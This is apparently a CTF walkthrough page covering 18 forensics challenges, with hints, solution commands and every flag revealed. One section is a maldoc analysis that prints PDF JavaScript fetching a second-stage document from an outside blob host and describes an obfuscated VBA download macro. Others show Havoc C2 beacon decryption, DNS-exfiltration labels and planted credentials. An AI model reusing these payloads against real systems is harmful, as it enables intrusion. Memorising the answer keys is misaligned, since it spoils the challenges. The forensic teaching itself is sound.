This page covers 18 intermediate forensics challenges.

Each challenge has progressive hints and a hidden flag, so you can try it yourself before
reading the walkthrough.

Purpose of the wave

Wave 2 moves from identification to investigation. The artifacts now contain decoys, deleted
state, encoded traffic, or multiple evidence sources. A single strings command may reveal a
clue, but it rarely explains why that clue is trustworthy. The intended skill is building an
evidence chain: observe an anomaly, select the parser that understands it, recover the missing
context, and confirm the same conclusion another way.

The six Chilla Box tasks form one continuous document-forensics incident. The remaining
challenges stand alone but reinforce the same idea through Git objects, browser databases,
DNS labels, malformed media, packet captures, and packaged executables.

Investigation workflow

  1. Inventory the artifact and preserve timestamps, directory structure, and sidecar files.
  2. Establish a timeline or ordering field before decoding content. Packet sequence numbers,
    Git ancestry, SQLite WAL frames, and archive layers all solve an ordering problem first.
  3. Separate observations from conclusions. For example, a suspicious string is only useful
    after identifying the object, record, request, or commit that owns it.
  4. Decode one transformation at a time and save intermediate output. This makes mistakes in
    base encodings, compression, byte order, or XOR keys easy to isolate.
  5. Validate the final answer against the challenge story and flag format rather than accepting
    the first plausible token.

Core tools

Area Tools used in this wave Why they matter
Git forensics git reflog, git fsck, git show Recover history that is no longer reachable from a branch
Browser artifacts sqlite3, WAL-aware inspection Recover data absent from the main database view
Document analysis pdfid, pdf-parser, olevba Expose automatic actions, scripts, and VBA behavior
Network analysis Wireshark, tshark, Python Filter, reorder, decode, and reconstruct application data
Reverse engineering PyInstaller extraction, bytecode tools Move from a packaged executable back to program logic

Toolkit

Tool Install Used in
Wireshark / tshark apt install wireshark tshark Steady Pulse, Wrong Number, Chilla Box
sqlite3 apt install sqlite3 Bookmark, Cookie Jar
oletools (olevba) pip install oletools Chilla Box
pdfid / pdf-parser download the scripts Chilla Box
poppler-utils apt install poppler-utils Black Marker
pngcheck apt install pngcheck Cut Short
pyinstxtractor clone the repo Frozen
pycdc build with CMake Frozen
sox, multimon-ng apt install sox multimon-ng Off The Record
PyCryptodome pip install pycryptodome Steady Pulse

Challenge catalog

Challenge Points Files Focus
Big Haystack 500 haystack.zip forensics, misc, linux
Black Marker 500 memo.pdf forensics, document forensics
Bookmark 500 places.sqlite forensics, browser forensics
Chilla Box 1 300 Invoice_88213.pdf, Invoice_88213.docm, capture.pcap forensics, network
Chilla Box 2 300 Invoice_88213.pdf, Invoice_88213.docm, capture.pcap forensics, network
Chilla Box 3 300 Invoice_88213.pdf, Invoice_88213.docm, capture.pcap forensics, network
Chilla Box 4 300 Invoice_88213.pdf, Invoice_88213.docm, capture.pcap forensics, network
Chilla Box 5 300 Invoice_88213.pdf, Invoice_88213.docm, capture.pcap forensics, network
Chilla Box 6 300 Invoice_88213.pdf, Invoice_88213.docm, capture.pcap forensics, network
Cookie Jar 700 chrome_profile.zip browser forensics, SQLite WAL
Cut Short 500 diagnostic.png forensics, stego, file structure
Force Push 700 repo.zip Git forensics, unreachable objects
Frozen 1000 activator.exe PyInstaller, Python bytecode, cryptography
Git Oops 500 repo.zip forensics, git
Hash Hunt 500 samples.zip, TARGET_HASH.txt forensics, misc
Off The Record 700 voicemail.wav audio steganography, DTMF
Steady Pulse 500 traffic.pcap forensics, network
Wrong Number 700 dns.pcap DNS analysis, encoding, reassembly

Big Haystack

Points: 500 points · Provided: haystack.zip

Two thousand log fragments in nested folders. Exactly one line matters.

Hint 1

You don't need to open 2,000 files. Which tool searches a whole directory tree at once?

Hint 2

grep -r for the flag prefix, with -n to see where it lives.

What it targets

Skill Why it matters
Recursive search grep -r across a large tree — the bread-and-butter of triage.

Walkthrough

1. Unpack

unzip -q haystack.zip

2. Search recursively

grep -rn 'Securinets{' logs/ returns the single matching line (operator note: ...).

3. Read the flag

That one line is the flag.

Show flag

Securinets{gr3p_d4sh_r_f1nds_1t}


Black Marker

Points: 500 points · Provided: memo.pdf

An internal memo came out of discovery with the sensitive line blacked out. The redaction was done by drawing a rectangle. That is not how redaction works.

Hint 1

Is the black bar part of the text, or drawn on top of it?

Hint 2

Extract the text layer: pdftotext memo.pdf -, or select all and copy.

What it targets

Skill Why it matters
Visual redaction is not deletion A black box drawn over text leaves the text in the content stream — copy/paste or pdftotext recovers it.

Walkthrough

1. Open it

A black bar covers the 'Recovery key:' line.

2. Extract the text layer

pdftotext memo.pdf - (or select-all + copy in a viewer). The text under the bar is right there in the output.

3. Read the flag

The recovery key is the flag.

Common pitfall

Zooming, screenshotting or adjusting brightness gets you nowhere: the bar is opaque. The rectangle is drawn after the text in the content stream, so it only hides the pixels. The characters themselves are still there to select or extract.

Show flag

Securinets{r3d4ct10n_1s_n0t_d3l3t10n}


Bookmark

Points: 500 points · Provided: places.sqlite

A Firefox profile database. One bookmark points somewhere it shouldn't.

Hint 1

Firefox stores history and bookmarks in SQLite. Which table holds the URLs?

Hint 2

SELECT url, title FROM moz_places;, then look closely at query strings.

What it targets

Skill Why it matters
Browser data is just SQLite Read it with any SQLite tool. Warm-up for Cookie Jar.

Walkthrough

1. Open the DB

sqlite3 places.sqlite (or DB Browser for SQLite).

2. Query places

SELECT url,title FROM moz_places; — a vault-login row has a URL with ?token=Securinets{...}.

3. Read the flag

The token in that URL is the flag.

Show flag

Securinets{br0ws3r_db_1s_just_sql1t3}


Chilla Box

Points: 6 × 300 points · Provided: Invoice_88213.pdf, Invoice_88213.docm, capture.pcap

This six-part incident chain used the same PDF, macro-enabled Word document, and packet capture. Each part asks for one step in the compromise sequence.

Part Question
1 An invoice landed in a finance mailbox and someone opened it. The help-desk salvaged the two attached files and the capture from that afternoon. You'll work all three across this set.
2 The invoice's embedded logic is wrapped in more than one layer. Peel it until it is readable and see what it reaches out to. The flag is the host it contacts, wrapped as Securinets{...}.
3 Once the invoice's logic resolves, it pulls something down as a next stage. Identify what it fetches and where it lives on that host. Submit as Securinets{container/filename}.
4 Now turn to the other document. It, too, acts by itself when opened. Look at how it performs its web request and name the exact component it uses for that. The flag is that component identifier, wrapped as Securinets{...}.
5 The other document hides its real target behind some string juggling. Undo it and read the precise endpoint it asks for. The flag is that exact path, wrapped as Securinets{...}.
6 You know what both documents wanted. Only one request actually left the box — the capture caught it. Recover what came back. That is the flag.
Hint 1 (parts 1–3)

Start with pdfid on the PDF. Which keyword makes a PDF run something the moment it opens? Then dump that object with pdf-parser and decode one layer at a time.

Hint 2 (parts 4–5)

olevba extracts and flags the macro. The endpoint is built from Chr() calls plus a reversed base64 string; olevba --deobf does most of the work.

Hint 3 (part 6)

Filter the capture on the host you found. Only one of the two requests returns the real payload.

What it targets

Skill Why it matters
PDF triage (pdfid / pdf-parser) Spotting /OpenAction + /JavaScript auto-exec.
Layered JS de-obfuscation unescape("%xx") → String.fromCharCode(...) → cleartext.
Maldoc triage (olevba / oledump) Auto-exec subs, MSXML2.ServerXMLHTTP, Chr()/StrReverse/base64 obfuscation.
Reconstructing an obfuscated VBA URL Reverse a base64 string, decode it, prepend the Chr()-built scheme.
PCAP analysis DNS resolution of the C2 host, following the HTTP GET, reading the response body.

All three files are inert analysis artifacts — nothing runs on open, and the flag
is served inside the capture, so the whole thing solves offline with no live callout.


Walkthrough

1. The PDF auto-runs script (Q1)

pdfid Invoice_88213.pdf shows /OpenAction, /JavaScript, /JS. The catalog's
/OpenAction entry fires object 6's JavaScript the moment the file opens.

2. Peel the JS layers (Q2, Q3)

pdf-parser.py -o 6 Invoice_88213.pdf (or just strings) shows the stream:

eval(unescape("%65%76%61%6c..."));
var host  = "stginvoicecdn.blob.core.windows.net";
var stage = "/shared/update.docm?sv=2023-11-03&...&sig=q9Kd2Zr7hVvN0pMxLbT8";
app.launchURL("https://" + host + stage, true);

So the PDF pulls a second-stage .docm from the shared container on
stginvoicecdn.blob.core.windows.net (an Azure Blob endpoint).

3. Triage the macro (Q4)

olevba Invoice_88213.docm extracts NewMacros.bas and flags AutoOpen and
Document_Open (both call Refresh), plus CreateObject,
MSXML2.ServerXMLHTTP, Chr, StrReverse. The request object is
MSXML2.ServerXMLHTTP.6.0.

4. De-obfuscate the endpoint (Q5)

The macro rebuilds the URL in three layers:

Reversing and base64-decoding yields:

stginvoicecdn.blob.core.windows.net/private/flag.txt?sv=2023-11-03&...&sig=Wj4mB1sXc6yQ8aE3nR5t

olevba --deobf (or --reveal) collapses the Chr()/StrReverse chain for you.
The specialised endpoint is /private/flag.txt on the same blob account.

5. Read the flag out of the capture (Q6)

Open capture.pcap. There's a DNS A query for stginvoicecdn.blob.core.windows.net
(answer 20.60.191.4), then two HTTP conversations to it:

Securinets{m4ld0c_2_bl0b_3xf1l_ch41n}

strings capture.pcap | grep Securinets works too — the C2 leg is plain HTTP.


Show all six flags
Part Flag
1 Securinets{/OpenAction}
2 Securinets{stginvoicecdn.blob.core.windows.net}
3 Securinets{shared/update.docm}
4 Securinets{MSXML2.ServerXMLHTTP.6.0}
5 Securinets{/private/flag.txt}
6 Securinets{m4ld0c_2_bl0b_3xf1l_ch41n}

Points: 700 points · Provided: chrome_profile.zip

We pulled a Chromium profile off a suspect's laptop. They insist they "cleared their history for good." The database might tell a different story.

Hint 1

List every file in the profile. Why are there History-wal and History-shm files next to History?

Hint 2

The deletion lives in the WAL. What does a copy of the main database show if you open it without the WAL?

What it targets

"Cleared history" isn't gone when the browser uses SQLite in WAL mode. The delete lives
in History-wal and hasn't been checkpointed into History, so opening the main DB alone
(ignoring the WAL) shows the pre-delete state. The same technique recovers deleted chat messages in
Signal Lost (Wave 3).

Skill Why it matters
Chromium profile layout (History, Cookies, Bookmarks) Standard browser-forensics triage
SQLite WAL recovery (open without the -wal) Recovering "deleted" browser records
Evidence preservation (work on a copy) A checkpointing tool destroys the recovery
Reading a secret from a URL parameter Tokens leak in query strings constantly

Walkthrough

1. Open the History DB

sqlite3 History "SELECT url,title FROM urls ORDER BY last_visit_time;"

Normal browsing (mail, wiki, portal, Google…) — but nothing incriminating. The vault
visit the story implies is absent: it was "cleared."

2. Notice it's WAL mode with a pending -wal

The profile ships History, History-wal, History-shm. Opening History normally replays
the WAL → the deletion is applied → the row stays hidden.

3. Recover: open the main DB without the WAL

cp History rec.db          # main file ONLY - no -wal / -shm
sqlite3 rec.db "SELECT url FROM urls WHERE url LIKE '%vault%';"
https://vault.agilogix.tn/unlock?session=Securinets{h1st0ry_l1v3s_1n_th3_w4l}

The session= parameter is the flag.

Preserve first. Opening the original History in a GUI such as DB Browser can
checkpoint the WAL, which writes the deletion into the main file and destroys the row for
good. Always work on copies.


The red herrings


Alternative paths (all valid)

Further reading: SQLite write-ahead logging and the
WAL file format.

Show flag

Securinets{h1st0ry_l1v3s_1n_th3_w4l}


Cut Short

Points: 500 points · Provided: diagnostic.png

A diagnostic screenshot that looks harmlessly cropped. The bottom was chopped off — but only in the header.

Hint 1

The image looks cropped, but is the pixel data actually shorter? Compare the IHDR dimensions with the amount of image data.

Hint 2

Edit the height in IHDR, and remember that every PNG chunk carries a CRC.

What it targets

Skill Why it matters
PNG IHDR structure The declared height can lie; the pixel data for the hidden rows is still present.

Walkthrough

1. Notice the crop

The image ends abruptly. The real content is taller than the header claims.

2. Edit the IHDR height

Height is a big-endian uint32 at file offset 20 (sig 8 + len 4 + 'IHDR' 4 + width 4). It currently reads 150. Raise it to the true 300, then recompute the IHDR CRC (the 4 bytes at offset 29 = CRC32 of IHDR + the 13 data bytes), or viewers will reject the file:

import struct, zlib
d = bytearray(open("diagnostic.png", "rb").read())
d[20:24] = struct.pack(">I", 300)                      # new height
d[29:33] = struct.pack(">I", zlib.crc32(d[12:29]))     # CRC over "IHDR" + 13 data bytes
open("fixed.png", "wb").write(d)

pngcheck -v fixed.png should now report no CRC error. Tools like pcrt.py automate the same repair.

3. Read the flag

With full height, the bottom rows render and the flag appears.

Common pitfall

Changing the height without fixing the CRC. Some viewers then refuse the file, and it looks like the edit was wrong. The IDAT holds all 300 scanlines; the header just under-reports the height, so viewers stop early.

Show flag

Securinets{r41s3_th3_1hdr_h31ght}


Force Push

Points: 700 points · Provided: repo.zip

Our platform team had an incident last week. A developer committed the production credentials for the logistics API, noticed about an hour later, and "removed" them — rolled the branch back and force-pushed over the mistake.

Hint 1

Look at the commit dates. Does this history look like it was rewritten?

Hint 2

Branches are just pointers. Where does Git remember where a branch used to point? (git reflog, or git fsck --no-reflogs)

What it targets

The real lesson is unreachable is not deleted. Git is a content-addressed object
store; branches are just pointers into it. Moving a pointer does not remove what it used
to point at.

Concretely, the task covers:

Skill Why it matters outside the CTF
git reflog recovers rolled-back branch positions The standard "I destroyed my work with reset --hard" rescue
git fsck --no-reflogs --lost-found finds orphaned objects How you audit a repo you were handed, with no reflog
git show <sha>:<path> reads a file without checkout Inspecting history without disturbing the working tree
Force-pushing does not unpublish a secret The single most important operational takeaway

That last row is the point of the whole task. Every real credential leak ends with
someone saying "it's fine, I force-pushed" — and it is not fine. The only fix is
rotation, and this task shows why.


Walkthrough

1. Look at what is obviously there

unzip repo.zip && cd logi-api
git log --oneline
10d632c gitignore secrets, add example config, rotate keys
8380564 add api tests
ad1ff23 add shipment lookup endpoint
239047f add yaml config loader
0d0f9c4 initial commit: health endpoint

Five commits, nothing incriminating. A naive grep -r Securinets . returns nothing,
because the only copy lives in a compressed git object.

2. Read the scenery

DEPLOY.md contains the breadcrumb:

2026-01-23: all production credentials were rotated. The old master token in
config/keys/legacy_api.key is expired and kept only for the v1 client shim.

This confirms a leak happened and dates it. It also baits the red herring (below).

3. Realise the history is shorter than the story

The commit dates jump 2026-01-12 → 2026-01-23, with three commits landing inside
half an hour on the 23rd. A repo where a third of the history appears in one burst,
right when DEPLOY.md says credentials were rotated, is a repo whose history was
rewritten.

4. Recover — path A, reflog

git reflog
10d632c HEAD@{0}: commit: gitignore secrets, add example config, rotate keys
8380564 HEAD@{1}: commit: add api tests
ad1ff23 HEAD@{2}: commit: add shipment lookup endpoint
239047f HEAD@{3}: reset: moving to HEAD~3          <-- the rewrite
e585199 HEAD@{4}: commit: add api tests
267dcdb HEAD@{5}: commit: add shipment lookup endpoint
a5b056e HEAD@{6}: commit: add production credentials for deploy   <-- there it is
239047f HEAD@{7}: commit: add yaml config loader
git show a5b056e:config/secrets.yml
# production credentials - DO NOT COMMIT
database:
  host: db-prod-01.agilogix.internal
  user: logi_api
  password: Tr0ub4dour&3-prod
aws:
  access_key_id: AKIA4YFAKE2XMPLQ7T3B
  secret_access_key: wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
api:
  master_token: Securinets{g1t_r3fl0g_n3v3r_f0rg3ts}

5. Recover — path B, fsck

git fsck --no-reflogs --lost-found
dangling commit e58519986873524af022350a00c965a4061cae9e
git log --oneline e58519986873      # walk back from the orphaned tip
git show a5b056e:config/secrets.yml

--no-reflogs is required. Plain git fsck treats reflog entries as reachable
roots, so it reports nothing dangling while the reflog exists. If you run
git fsck --lost-found, see empty output, and conclude the repo is clean, the tool has
misled you. That's genuine Git behaviour, and worth remembering on real repos.


The red herring

config/keys/legacy_api.key:

legacy_master_token: SEC_5f3a91c4e77b28d0a1449e6b3cc80f12

Findable in seconds with grep -ri token ., correctly shaped, and sitting in the current
checkout where you look first. DEPLOY.md explicitly calls it expired, so the information
needed to dismiss it is right there. Read the documentation before trusting a grep hit.

config/secrets.example.yml plays the same role more gently — all CHANGEME, obviously
a template.


Alternative paths that legitimately work

All acceptable. None require guessing.

Show flag

Securinets{g1t_r3fl0g_n3v3r_f0rg3ts}


Frozen

Points: 1000 points · Provided: activator.exe

We seized a "license activator" that ships with a cracked internal tool. It won't cough up anything without the right license password and activation token — and the two aren't written anywhere obvious.

Hint 1

strings shows Python-looking names. Which tool bundles Python into an exe, and how do you unpack it?

Hint 2

After decompiling, the password and token are computed, not stored. Watch out for a second table that looks almost identical.

What it targets

Un-freezing a PyInstaller binary and reading Python bytecode. The secret is not a string in the
file — it is computed by convoluted code, so strings and "just run it" both fail. You have to
recover and read the source.

Skill Why it matters
pyinstxtractor (unpack PyInstaller) Standard first move on any frozen Python exe
pycdc / decompiler on the .pyc Recover readable source (decompyle3/uncompyle6 don't do 3.9 — pycdc does)
Tracing obfuscated key derivation The password/token are built by code, across several pieces
Reproducing a home-rolled KDF + AES Turn the derived pair into the flag

Walkthrough

1. Unpack

python pyinstxtractor.py activator.exe

→ activator.exe_extracted/ with activator.pyc (the entry point pyinstxtractor names).

2. Decompile

decompyle3/uncompyle6 reject 3.9 — use pycdc (Decompyle++):

pycdc activator.exe_extracted/activator.pyc

3. Read the derivation (this is the challenge)

class _Cfg:
    A = 90; B = 7
    _s = [9,82,11,26,4,78,219,216,235,247,195,248,156,133,142,245]
    _legacy = [ ...,246 ]          # DECOY (last byte differs)
def _rk(i):  return (_Cfg.A + i*_Cfg.B) & 255
def _pw():   return bytes(_Cfg._s[i] ^ _rk(i) for i in range(len(_Cfg._s))).decode()
_SALT = ["ag","il","og"]
def _salt(): return ("".join(_SALT)+"ix").encode()          # b"agilogix"
def _tok(pw):
    h = pw.encode()+_salt()
    for _ in range(5000): h = sha256(h).digest()
    return h.hex()[:16]

Reproducing both offline:

import hashlib
s = [9,82,11,26,4,78,219,216,235,247,195,248,156,133,142,245]
pw = bytes(v ^ ((90 + 7*i) & 255) for i, v in enumerate(s)).decode()
h = pw.encode() + b"agilogix"
for _ in range(5000):
    h = hashlib.sha256(h).digest()
print(pw, h.hex()[:16])      # S3cur3_Sync_2026 b7db6c8cd434a13c

4. Unlock

The flag is AES-CBC, key = sha256(pw + ":" + token)[:32], blob embedded (base64) as _BLOB.
Either run the exe and type the pair, or reimplement:

activator.exe
license password: S3cur3_Sync_2026
activation token: b7db6c8cd434a13c
→ Securinets{fr0z3n_pyc_st1ll_t4lks}

Trick & red herring

Further reading: pyinstxtractor and
pycdc (check its README for which bytecode versions it supports).

Show flag

Securinets{fr0z3n_pyc_st1ll_t4lks}


Git Oops

Points: 500 points · Provided: repo.zip

"I committed a credential, then removed it in the next commit. It's gone." It is not gone.

Hint 1

The file is gone from the working tree. Is it gone from history?

Hint 2

git log -p shows every change, including deletions.

What it targets

Skill Why it matters
Git keeps history A file deleted in a later commit still lives in the earlier one. Warm-up for Force Push.

Walkthrough

1. Unzip and enter

unzip -q repo.zip -d repo && cd repo

2. Read the history

git log --oneline shows a commit add deploy credentials (temp) followed by oops, remove committed credentials.

3. Show the deleted content

git log -p (or git show <sha-of-add-commit>) prints the deploy.key that was added and then removed. PRIVATE_TOKEN= is the flag.

Common pitfall

grep -r on the working tree finds nothing because the file was deleted from HEAD. The secret only exists in history, so you have to read it.

Show flag

Securinets{g1t_l0g_r3m3mb3rs_4ll}


Hash Hunt

Points: 500 points · Provided: samples.zip, TARGET_HASH.txt

Three hundred near-identical notes. TARGET_HASH.txt tells you the SHA-256 of the one that matters. Find it.

Hint 1

The content can't tell the files apart. What can?

Hint 2

Hash every sample with sha256sum and compare against the target.

What it targets

Skill Why it matters
Hashes as fingerprints Identifying one file out of many by content hash.

Walkthrough

1. Unpack

unzip -q samples.zip

2. Hash everything and match

sha256sum sample_*.txt | grep -iF "$(tr -dc '0-9a-fA-F' < TARGET_HASH.txt)"

tr -dc keeps only hex characters, so a trailing newline or Windows \r\n in
TARGET_HASH.txt can't break the match.

3. Read the flag

cat the matching file; its operator note: line is the flag.

Common pitfall

Every file looks like operator note: Securinets{...}, so grepping for the flag format gives 300 candidates. Only the file whose hash matches is real, and there's no way to spot it by eye.

Show flag

Securinets{h4sh_m4tch3s_th3_f1l3}


Off The Record

Points: 700 points · Provided: voicemail.wav

Someone left this voicemail on an old answering machine at 3 a.m. It sounds like static and garbled noise — but the caller went to some trouble to record it.

Hint 1

Listening isn't enough. Look at the audio as a spectrogram.

Hint 2

The spectrogram text ends in _, so the flag continues. The tone bursts right after it are telephone keypad tones (DTMF).

What it targets

One audio file can carry information in several independent domains, and finding one is
not finishing.
A player must inspect the visual (spectrogram) and tonal (DTMF)
representations, not just listen.

Skill Why it matters outside the CTF
Reading a spectrogram (Audacity / Sonic Visualiser / sox -n spectrogram) The single most useful audio-forensics view
Recognising DTMF and decoding it (multimon-ng -a DTMF) Real telephony/keypad capture analysis
Recognising reversed speech Common audio-stego and prank technique
Not stopping at the first hit The whole point — the flag needs two of the three channels

Walkthrough

1. Listen, then look

Played back, the file is mostly harsh tones and, at the end, garbled speech. Listening
alone yields nothing usable — the cue to switch to a spectrogram.

2. Spectrogram → the text half

Audacity (Spectrogram track view), Sonic Visualiser, or:

sox voicemail.wav -n spectrogram -o out.png

The 1–6 s region plainly renders, in the 0.6–3.6 kHz band:

SP3CTR0_4ND_DTMF_

Underscores are rendered literally (low horizontal bars), and the trailing underscore
signals that the string continues — the flag isn't complete yet.

3. The tone burst → DTMF

Right after the text (~6.5–7.5 s) are four two-tone bursts — the classic DTMF look (one low +
one high band each). Decode:

sox voicemail.wav -t raw -r 22050 -e signed -b 16 -c 1 - | multimon-ng -a DTMF -t raw -
DTMF: 7
DTMF: 3
DTMF: 1
DTMF: 8

→ 7318. (multimon-ng needs raw/sox piping — it only takes WAV directly on some builds.)

4. Assemble

Spectrogram text + DTMF digits, joined on the trailing underscore:

Securinets{SP3CTR0_4ND_DTMF_7318}

What you see is what you type — uppercase, underscores as shown, no guessing about
case/separators.


The red herring

The last ~3 s (8.5–11.6 s) is reversed speech. A curious player will reverse it:

sox voicemail.wav out.wav reverse      # then play out.wav

…and hear: "there is nothing to hear on this channel, keep looking elsewhere." It says
explicitly that it's a dead end. It also looks "interesting" in the spectrogram (speech
formants), which can pull your attention away from the DTMF bursts.


Alternative paths that legitimately work

No brute force; both halves are directly recoverable.

Show flag

Securinets{SP3CTR0_4ND_DTMF_7318}


Steady Pulse

Points: 500 points · Provided: traffic.pcap

A workstation on the finance segment was pulled for a routine review. Nothing crashed, nothing alerted, the user noticed nothing wrong. Someone on the blue team just had a feeling about the box and grabbed the sensor's capture before it was reimaged.

Hint 1

Look at the timing of the POST requests. What kind of traffic calls home at a fixed interval?

Hint 2

The first check-in is longer than the rest. Research how Havoc's Demon agent sends its session key.

What it targets

Skill Why it matters
Spotting beaconing in a capture Regular, low-variance callbacks to one destination are the canonical C2 tell.
Recognising a Havoc "Demon" HTTP profile Binary POST bodies, magic/agent-id framing, encrypted metadata.
The Havoc key-leak weakness The agent generates its AES-256 key + IV on the victim and sends them in the clear in the first check-in. Capture the traffic → decrypt everything.
AES-256-CTR decryption of captured payloads Turning recovered key material into plaintext beacon output.

This mirrors a real, publicly documented property of
Havoc's default HTTP listener. No implant, loader,
or working C2 ships with the challenge, only a capture to analyse.


Walkthrough

1. Notice the beaconing

Open traffic.pcap in Wireshark. Eight short HTTPS-port (443) HTTP conversations
from 10.10.10.20 to 45.61.136.212, each a POST with a small
application/octet-stream body. Statistics → Conversations, or just the frame times,
show the POSTs land every ~45 s (±4 s jitter) — a textbook beacon. The Host:
header (cdn-eu4.content-delivery.net) and rotating URIs are cover; the destination IP
never changes.

2. Identify the protocol

Follow the first POST body (Follow → TCP Stream, switch to hex/raw). It is not JSON or
form data — it's a binary blob. The framing (4-byte agent id, big-endian size/command
fields, then ciphertext) is a Havoc Demon package. The first check-in carries extra
bytes the others don't.

3. Pull the key out of the first check-in

The first POST body is laid out as:

AgentID (4)  |  AES key (32)  |  AES IV (16)  |  AES-CTR( size(4) | cmd(4) | metadata )

Bytes 4–36 are the AES-256 key, bytes 36–52 the IV — sent in cleartext. That's
the whole game: Havoc's agent ships its own session key on first contact.

4. Decrypt the beacons

Every body is AgentID(4) (plus the 48-byte key blob on the first one only) followed by
AES-256-CTR ciphertext, counter initialised to the IV, reset per package. Decrypt each
one: metadata (hostname WKS-FIN-07, user bayrem), a whoami, an ipconfig, and one
command-output beacon whose plaintext is a looted handover.txt — the flag is on the last
line.

A minimal solver that reads only the packet capture is reproduced below.

import struct
from Crypto.Cipher import AES
from Crypto.Util import Counter

data = open("traffic.pcap","rb").read(); off = 24; bodies = []
while off < len(data):
    _,_,cap,_ = struct.unpack("<IIII", data[off:off+16]); off += 16
    pkt = data[off:off+cap]; off += cap
    ihl = (pkt[14] & 0xf)*4; doff = (pkt[14+ihl+12] >> 4)*4
    p = pkt[14+ihl+doff:]
    if p.startswith(b"POST "):
        bodies.append(p[p.index(b"\r\n\r\n")+4:])

key, iv = bodies[0][4:36], bodies[0][36:52]
def dec(e):
    c = Counter.new(128, initial_value=int.from_bytes(iv,"big"))
    return AES.new(key, AES.MODE_CTR, counter=c).decrypt(e)
for i,b in enumerate(bodies):
    print(i, dec(b[52:] if i==0 else b[4:])[8:])
Show flag

Securinets{th3_f1rst_ch3ck1n_l34ks_th3_k3y}


Wrong Number

Points: 700 points · Provided: dns.pcap

An endpoint on our network kept making DNS lookups for a domain nobody recognises, all night. The traffic was captured. Marketing swears it's just a CDN.

Hint 1

Most lookups are ordinary. Which domain has long, hex-looking subdomains?

Hint 2

Every chunk appears twice. De-duplicate, keep capture order, and decode the hex.

What it targets

DNS as a covert exfiltration channel. No file transfer, no HTTP — data leaves the
network encoded in the names being looked up. The player learns to recognise the pattern
(many lookups of long, high-entropy subdomains under one domain), extract the labels, and
decode them.

Skill Why it matters outside the CTF
Reading DNS from a pcap (tshark/Wireshark) First move on any capture with no obvious payload
Spotting exfil-shaped queries among noise The core detection skill for DNS tunneling
Decoding hex-in-subdomains The most common DNS-exfil encoding
Handling retransmissions (dedupe) Real captures repeat packets; naive concat corrupts

This is the easy member of the exfil family;
Silent Exfil in Wave 3 is the
hard sibling (out-of-order sequence + a rebuilt PNG + crypto).


Walkthrough

1. Look at the DNS

tshark -r dns.pcap -Y 'dns.flags.response==0' -T fields -e dns.qry.name

74 queries. Most are ordinary (pool.ntp.org, deb.debian.org, cdn.jsdelivr.net, …) —
but a cluster stands out: long hex-looking labels under one domain, each appearing twice:

5365637572696e657473.sync.datasync-cdn.net
5365637572696e657473.sync.datasync-cdn.net
7b646e735f7175337231.sync.datasync-cdn.net
7b646e735f7175337231.sync.datasync-cdn.net
33735f6c33346b5f6279.sync.datasync-cdn.net
...

2. Isolate the exfil and dedupe

Filter to the one suspicious domain, strip the label, drop the duplicate retransmissions
(keep first occurrence, preserve order):

tshark -r dns.pcap -Y 'dns.flags.response==0 && dns.qry.name contains "sync.datasync-cdn.net"' \
  -T fields -e dns.qry.name \
  | sed 's/\.sync\..*//' | awk '!seen[$0]++'

3. Concatenate and decode

The labels are hex. Join in capture order, un-hex:

... | tr -d '\n' | xxd -r -p
Securinets{dns_qu3r13s_l34k_by73s}

The wrinkles

  1. Retransmissions. Every exfil label appears twice, adjacent. Concatenating without
    dedupe doubles every chunk → garbage. Any of awk '!seen', uniq (they're adjacent), or
    sort -u (labels are unique) fixes it. This is the one real "gotcha."
  2. Noise. 66 of the 74 queries are benign lookups to real domains. A naive
    grep -o '[0-9a-f]*' across everything pulls in junk; notice that the exfil all sits
    under a single, unusual domain and filter to it. The signal is clearly distinguishable:
    one domain, uniform label length, high entropy, paired queries.

Alternative paths that legitimately work

No guessing — the domain and encoding are self-evident from the capture.

Show flag

Securinets{dns_qu3r13s_l34k_by73s}


Wave 2 takeaways